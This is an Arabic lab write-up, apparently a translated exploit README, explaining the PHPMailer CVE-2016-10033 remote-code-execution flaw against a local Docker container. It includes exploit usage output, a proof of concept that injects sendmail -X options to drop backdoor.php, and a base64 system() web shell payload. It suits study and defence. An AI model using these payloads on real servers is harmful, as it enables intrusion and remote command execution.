
لحل مشكلة CTFS.me
PHPMailer هو أشهر فئة نقل في العالم، مع ما يقدر بـ 9 ملايين مستخدم حول العالم. تستمر التنزيلات بمعدل كبير يومياً. يُستخدم من قبل العديد من المشاريع مفتوحة المصدر: WordPress، Drupal، 1CRM، SugarCRM، Yii، Joomla! وغيرها الكثير
تعاني PHPMailer قبل إصدارها 5.2.18 من ثغرة أمنية قد تؤدي إلى تنفيذ الأوامر عن بعد (RCE). وظيفة mailSend في وسيلة النقل isMail في PHPMailer، عندما لا تكون خاصية Sender محددة، قد تسمح للمهاجمين عن بعد بتمرير معاملات إضافية لأمر mail وبالتالي تنفيذ كود عشوائي عبر علامة " (شرطة مائلة عكسية وعلامة اقتباس مزدوجة) في عنوان From مصمم بعناية.
لإعداد بيئة ضعيفة لاختبارك ستحتاج إلى تثبيت Docker، ثم تشغيل الأمر التالي:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
وسيقوم بإنشاء تطبيق ويب ضعيف على مضيفك على المنفذ 8080

لاستغلال هذا الهدف فقط قم بتشغيل:
./exploit host:port
إذا كنت تستخدم هذه الصورة الضعيفة، يمكنك تشغيل:
./exploit localhost:8080
بعد الاستغلال، سيتم تخزين ملف باسم backdoor.php في المجلد الجذر لدليل الويب. وسيقدم لك الاستغلال شيل حيث يمكنك إرسال الأوامر إلى الباب الخلفي:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
وهذا كل شيء، لديك شيل. هناك استغلال آخر يوضح حالة استخدام أخرى.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
وإذا قمت بزيارة الصفحة مرة أخرى، سترى ما يلي:

قبل هذا الالتزام في class.phpmailer.php في سيناريو معين لا يوجد فلتر للأحرف الخاصة في عنوان البريد الإلكتروني للمرسل. هذا العيب يمكن أن يؤدي إلى تنفيذ أوامر عن بعد، عبر دالة mail هنا.
عند تحليل الكود، لا يوجد فلتر في دالة mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
يتم إلحاق $this->Sender مباشرة بمتغير $params، الذي تمت تصفيته في دالة validateAddress()، ولكن نظراً لاستخدامها لمواصفات RFC 3696، فإنها تسمح ببعض الأحرف التي قد تسبب مشاكل.
في هذه الحالة، علامات الاقتباس:
بالإضافة إلى الاقتباس باستخدام حرف الشرطة المائلة العكسية، يمكن استخدام علامات الاقتباس المزدوجة التقليدية لإحاطة السلاسل. على سبيل المثال
"Abc@def"@example.com
"Fred Bloggs"@example.com
هي أشكال بديلة للمثالين الأولين أعلاه. نادراً ما يُوصى بهذه الأشكال المقتبسة، وهي غير شائعة عملياً، ولكن كما نوقش أعلاه، يجب دعمها بواسطة التطبيقات التي تقوم بمعالجة عناوين البريد الإلكتروني. على وجه الخصوص، غالباً ما تظهر الأشكال المقتبسة في سياق العناوين المرتبطة بالانتقال من أنظمة وسياقات أخرى؛ تلك المتطلبات الانتقالية لا تزال قائمة، وبما أن النظام الذي يقبل عنوان بريد إلكتروني يقدمه المستخدم لا يمكنه "معرفة" ما إذا كان هذا العنوان مرتبطاً بنظام قديم، يجب قبول أشكال العناوين وتمريرها إلى بيئة البريد الإلكتروني.
يمكنك قراءة RFC بالكامل هنا إذا أردت. ولكن أيضاً، إذا كان إصدار PHP أقل من 5.2.0، وكان PCRE غير مثبت، فسيتم تعيين متغير $patternselect في validateAddress() إلى noregex. سيتسبب ذلك في قدرة الإدخال على تجنب أي فحص regex. سيمر فقط من خلال تحقق صغير:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
ثم يذهب تدفق الكود إلى دالة mailPassthru()، والتي إذا كانت تعمل في وضع safe_mode لن تكون عرضة لهذا العيب، كما يوضح الكود التالي:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
ولكن، إذا لم يكن يعمل في safe_mode، فسيتم تمرير المعامل الخاص لدينا إلى mail()، وإذا كنا محظوظين، فسيحصل على ملفنا الذي يحتوي على ما نريد كتابته حيث نختار أن يُكتب.
استغلال دالة mail() في PHP ليس بالأمر الجديد، لكنه لا يزال حياً والناس لا يزالون يستخدمونه. لشرح كيفية عمله، دعنا ننظر إلى كيفية تعريف دالة mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
هناك عدة طرق استغلال لنتائج مختلفة، سنركز على استغلال المعامل الخامس للحصول على تنفيذ الأوامر عن بعد (RCE). يُستخدم المعامل $additional_parameters لتمرير علامات إضافية كخيارات سطر أوامر للبرنامج المُعد لإرسال البريد الإلكتروني. يتم تعريف هذا التكوين بواسطة متغير sendmail_path.
ملاحظة أمنية من الوثائق الرسمية لـ PHP:
يمكن استخدام المعامل additional_parameters لتمرير علامات إضافية كخيارات سطر أوامر للبرنامج المُعد لاستخدامه عند إرسال البريد، كما هو محدد بواسطة إعداد التهيئة sendmail_path. على سبيل المثال، يمكن استخدامه لتعيين عنوان المرسل للظرف عند استخدام sendmail مع خيار -f sendmail.
يتم الهروب من هذا المعامل بواسطة escapeshellcmd() داخلياً لمنع تنفيذ الأوامر. يمنع escapeshellcmd() تنفيذ الأوامر، ولكنه يسمح بإضافة معاملات إضافية. لأسباب أمنية، يُوصى بأن يقوم المستخدم بتنظيف هذا المعامل لتجنب إضافة معاملات غير مرغوب فيها إلى أمر الشل.
بالنظر إلى المعاملات الإضافية التي يمكن حقنها، سنستخدم -X لاستغلال هذا العيب. المزيد حول المعامل -X
-X logfile
سجل كل حركة المرور داخل وخارج المرسلين في ملف السجل المشار إليه. يجب استخدام هذا فقط كملاذ أخير لتصحيح أخطاء برامج البريد. سيقوم بتسجيل الكثير من البيانات بسرعة كبيرة.
هناك أيضاً بعض المعاملات الأخرى المثيرة للاهتمام التي يجب أن تعرف بوجودها:
-Cfile
استخدم ملف تهيئة بديل. يتخلى Sendmail عن أي صلاحيات محسنة (set-user-ID أو set-group-ID) إذا تم تحديد ملف تهيئة بديل.
و
-O option=value
عيّن الخيار option إلى القيمة المحددة. يستخدم هذا النموذج أسماء طويلة.
وبالنسبة لخيار -O، فإن QueueDirectory هو الخيار الأكثر إثارة للاهتمام هناك، هذا الخيار يحدد الدليل الذي يتم فيه وضع الرسائل في قائمة الانتظار.
إذا كنت ترغب في قراءة القائمة الكاملة للمعاملات والخيارات، فقط man sendmail أو اقرأها عبر الإنترنت هنا
بناءً على هذه المعلومات، والقدرة على التحكم في واحد على الأقل من المعاملات الأخرى، يمكننا استغلال المضيف. فيما يلي خطوات الاستغلال الناجح:
$additional_parameters ومعامل آخر من mail()webroot (يُعرف بـ /var/www/html للأنظمة الأخرى، /www لهذا المثال)system() بسيطة في هذا المثال، مع القليل من base64 وبعض الأحرف الخاصة | لتسهيل التحليل.تذكر أن خيار -X سيكتب ملف السجل، الذي سيحتوي من بين معلومات السجل على حمولة PHP الخاصة بك، في الدليل الذي ستحدده. مثال على كود PHP ضعيف:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
إذا قمت بتنفيذ الكود أعلاه، فسيقوم بإنشاء ملف سجل في /www/backdoor.php، هذا هو جوهر هذا الاستغلال.
فيما يلي الحمولة المستخدمة في هذا المثال
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
هل تريد طريقة سهلة، بأمر واحد، لمحاولة اكتشاف هذا العيب؟ تذكر أمر grep السحري هذا!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
تشغيله ضد هذا المستودع سينتج عنه
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
تم اكتشاف هذه الثغرة بواسطة Dawid Golunski.
هذا البرنامج أو البرنامج السابق هو لأغراض تعليمية فقط. لا تستخدمه بدون إذن. يطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) لست مسؤولاً عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف المقدمة بواسطة هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو سوء استخدام هذه البرامج أو أي مشتقات منها. باستخدام هذه البرامج فأنت تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.